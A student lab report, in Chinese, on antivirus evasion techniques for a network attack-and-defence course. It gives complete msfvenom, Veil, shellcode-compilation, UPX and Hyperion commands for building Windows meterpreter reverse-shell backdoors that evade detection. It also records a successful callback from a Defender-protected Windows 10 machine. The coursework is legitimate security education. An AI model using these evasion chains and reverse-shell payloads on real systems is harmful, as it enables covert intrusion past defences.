20192423 2021-2022-2 《网络与系统攻防技术》实验三实验报告

1.实验内容

(1)学习各种免杀技术及工具
  1. 学习使用msf编码器免杀。
  2. 学习使用veil-evasion免杀。
  3. 学习利用shellcode编程等免杀工具或技巧。
(2)使用各种技术组合实现免杀
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

2.实验要求

(1)杀软是如何检测出恶意代码的?

1.基于特征码的检测
该技术对已知病毒的检测效果较好,但无法检测到未知病毒,且发现和判定病毒的时间周期过长
2.启发式恶意软件检测
可以检测到未知计算机病毒,但是该技术存在高误报率和高漏报率的缺陷
3.基于行为的恶意软件检测
可以检测到未知计算机病毒,但是该技术存在高误报率和高漏报率的缺陷

(2)免杀是做什么?

免杀是不会被杀毒软件软件杀掉的病毒或木马,是病毒的制作人为了不让病毒被识别出来,通过钻杀毒软件漏洞或者将病毒伪装成正常程序的办法来逃避杀毒软件的查杀。

(3)免杀的基本方法有哪些?

文件特征码免杀
内存特征码免杀
加花指令免杀
加壳免杀

3.实验过程

3.1各种免杀工具

1.使用编码器msf进行免杀

我们利用VirusTotal网站扫描实验二所生成的后门程序,70个杀软中有54个都能检测出来我们的后门程序。

使用msf编码器进行一次编码:
打开虚机命令行输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.6.128 LPORT=2423 -f exe > 20192423ysl_backdoor.exe

使用VirusTotal网站扫描我们刚刚编码一次后所生成的后门程序,但检出率依然没有太大的变化(54/69)

我们接着利用msf编码器多编码几次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.6.128 LPORT=2423 -f exe > 20192423ysl_backdoor.exe

继续使用网站查看检出率,发现依然是变化不大(53/68)

由此我们发现此方式并不能很有效地降低检出率,因为我们使用的msf编码器所生成的exe是有着固定的特征,因此很多av厂商很多都能检测出来。

尝试多重编码组合:
这里使用管道符,编码器msf对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成exe可执行文件。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.6.128 LPORT=2423 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x 20192423ysl_backdoor.exe -f exe > 20192423bkd.exe

-a 设置目标的指令集架构,这里我们选择x86即可
--platform 设置目标平台,这里是windows,可以通过--help-platforms选项查看msfvenom支持的所有平台
-p 设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-l payloads查看所有攻击载荷
-e 指定编码器,我会组合使用不同的编码器,可以通过-l encoders查看所有编码器
-i 指定编码迭代的次数
-x 指定模版
-k 该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上。
-f 指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用--help-formats查看所有支持的格式

可以看到我们的检出率有效下降了一些(46/70),但由于生成的依然是exe文件所以依然存在着固定特征所以许多av厂商依然能检测出来。

2.使用工具veil进行免杀

安装veil

进入veil工具中,输入指令use evasion进入evasion模块

输入use c/meterpreter/rev_tcp.py选择我们的攻击载荷,不知道载荷的可以使用 list 命令来查看 所有payload 的详细信息。

输入set LHOST 192.168.6.128 设置IP,此IP为我们主控机kali的IP
set LPORT 2423 设置端口,随意设置一个没被占用的端口
设置完以后,输入指令options 查看我们刚才所配置的内容是否有错。

输入generate生成文件,根据提示输入文件名成,下方为文件所保存的路径。

好消息,使用veil加壳后的工具降低了我们的检出率(39/70

3.使用C + shellcode编程进行免杀

输入命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.6.128 LPORT=2423 -f c
生成一段C编写的shellcode

新建文件vi 20192423shellcode.c
将我们刚刚使用msf编码器所生成的shellcode写入此文件

使用指令i686-w64-mingw32-g++ 20192423shellcode.c -o 20192423shellcode.exe
编译我们刚刚所生成的c文件

将所生成的文件使用VT检测,发现检出率也有所下降(32/68

4.加壳工具

使用指令upx 20192423shellcode.exe -o 20192423shellcode1.exe 对我们的文件继续加壳。

可以看到相比于原本的shellcode文件,我们加了压缩壳的文件更小了一点

相对来说也是略微有些下降把(32/70

3.2组合使用免杀技术进行免杀

原理:
利用msf生成一段shellcode然后新建一个c文件写入,编译成可执行文件,套一层压缩壳加密壳,再套一层压缩壳成功实现。
加密壳
进入/usr/share/windows-resources/hyperion文件目录
输入wine hyperion.exe -v 20192423shellcode1.exe 20192423shellcode2.exe
将20192423shellcode1加密生成20192423shellcode2文件

加密壳之后我们再套一层压缩壳,然后传给主机啦。

我的20192423shellcode活下来啦!

3.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功。

组员的电脑系统版本是win10,杀软为系统自带的微软杀毒软件。

使用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.6.128 lport=2423 -f raw -o 20192423.raw生成raw文件

杀软没有将我们生成的raw文件pass掉哦!

输入msfconsole进入msf控制台
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.6.128 此IP为我们主控机kali的IP
set LPORT 2423
设置好之后输入
exploit进入监听。

在对方电脑中执行shellcode_launcher.exe -i 20192423.raw

回连成功啦!!!

4.问题及解决方案

问题:安装veil工具的时候出现了很多的问题:
首先是安装win32的时候报错没有可安装候选。
执行以下步骤:
输入nano /etc/apt/sources.list

并添加卡利滚动库:
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free

然后:
apt-get update
apt-get install wine32

随后一路选择next即可

在我安装完veil后使用其生成后门文件时却报错。于是我又卸载veil重新安装。

注意到在安装veil过程中安装rubby这步里面此三个选项要勾上。

5.学习感悟、思考等

此次免杀实践在实验二后门实践的基础上,让我了解如何让我们后门程序在杀软开启情况下生存启动。学会使用msf编码、veil、c+ shellcode编程以及加壳工具等等进行免杀。随着技术的进步,这个几个免杀工具所达到的免杀效果也不是特别理想,此次实验所提供的免杀思想最为重要,实现免杀的方法还有许多,可以多加学习。只有知道病毒是如何潜入的我们才能更好的去防护系统。

参考资料